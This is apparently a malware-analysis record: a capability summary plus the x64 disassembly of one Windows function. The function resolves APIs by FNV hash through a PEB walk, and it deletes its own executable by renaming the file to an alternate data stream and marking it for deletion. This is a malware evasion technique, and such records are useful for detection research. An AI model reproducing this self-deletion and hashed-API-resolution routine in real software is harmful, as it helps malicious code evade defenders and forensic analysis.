Function at 0x140001470
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports
Self delete using alternate data streams

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x270
xor eax, eax
mov dword [rsp + 0x288], 0x104
lea rdi, [rsp + 0x60]
mov ecx, 0x20a
rep stosb byte [rdi], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, qword gs:[0x60]
mov rsi, rax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r9, qword [rcx + 0x30]
movsxd rdx, dword [r9 + 0x3c]
mov r11d, dword [rdx + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x140001534
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x140001534
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
mov edi, 0x89f67f74
lea rax, [rbx + r8*4]
mov edx, dword [rax + r9]
add rdx, r9
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14000152f
nop dword [rax]
movsx eax, al
lea rdx, [rdx + 1]
xor eax, edi
imul edi, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x140001510
cmp edi, 0x713df191
je 0x140001539
test r8d, r8d
jne 0x1400014f0
mov rcx, qword [rcx]
jmp 0x1400014c0
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
lea r8, [rsp + 0x60]
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
xor edx, edx
add rax, r9
mov rcx, rsi
lea r9, [rsp + 0x288]
call rax
test eax, eax
je 0x140001724
xor esi, esi
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x10000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001724
xor eax, eax
lea rdi, [rsp + 0x40]
mov ecx, 0x18
lea r9d, [rsi + 0x20]
rep stosb byte [rdi], al
movabs rax, 0x7400610064003a
mov dword [rsp + 0x50], 8
mov rcx, rbx
mov qword [rsp + 0x54], rax
lea r8, [rsp + 0x40]
lea edx, [rsi + 3]
call qword [sym.imp.KERNEL32.dll_SetFileInformationByHandle]
test eax, eax
je 0x140001724
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x30], rsi
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x10000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001724
xor eax, eax
lea rdi, [rsp + 0x280]
mov ecx, 1
lea r9d, [rsi + 1]
rep stosb byte [rdi], al
mov rcx, rbx
mov byte [rsp + 0x280], 1
lea r8, [rsp + 0x280]
lea edx, [rsi + 4]
call qword [sym.imp.KERNEL32.dll_SetFileInformationByHandle]
test eax, eax
je 0x140001724
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r11d, dword [rcx + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x1400016f4
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x1400016f4
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
mov edi, 0x5cd678c3
lea rcx, [rbx + r8*4]
mov ecx, dword [rcx + r9]
add rcx, r9
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x1400016ef
nop dword [rax]
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, edi
imul edi, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x1400016d0
cmp edi, 0xfdbe3797
je 0x1400016f9
test r8d, r8d
jne 0x1400016b0
mov rax, qword [rax]
jmp 0x140001680
mov edx, dword [r11 + 0x24]
lea rcx, [rsp + 0x60]
add rdx, r9
movzx edi, word [rdx + r8*2]
mov edx, dword [r11 + 0x1c]
add rdx, r9
mov edx, dword [rdx + rdi*4]
add rdx, r9
call rdx
test eax, eax
jne 0x140001724
mov eax, 1
jmp 0x140001726
xor eax, eax
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret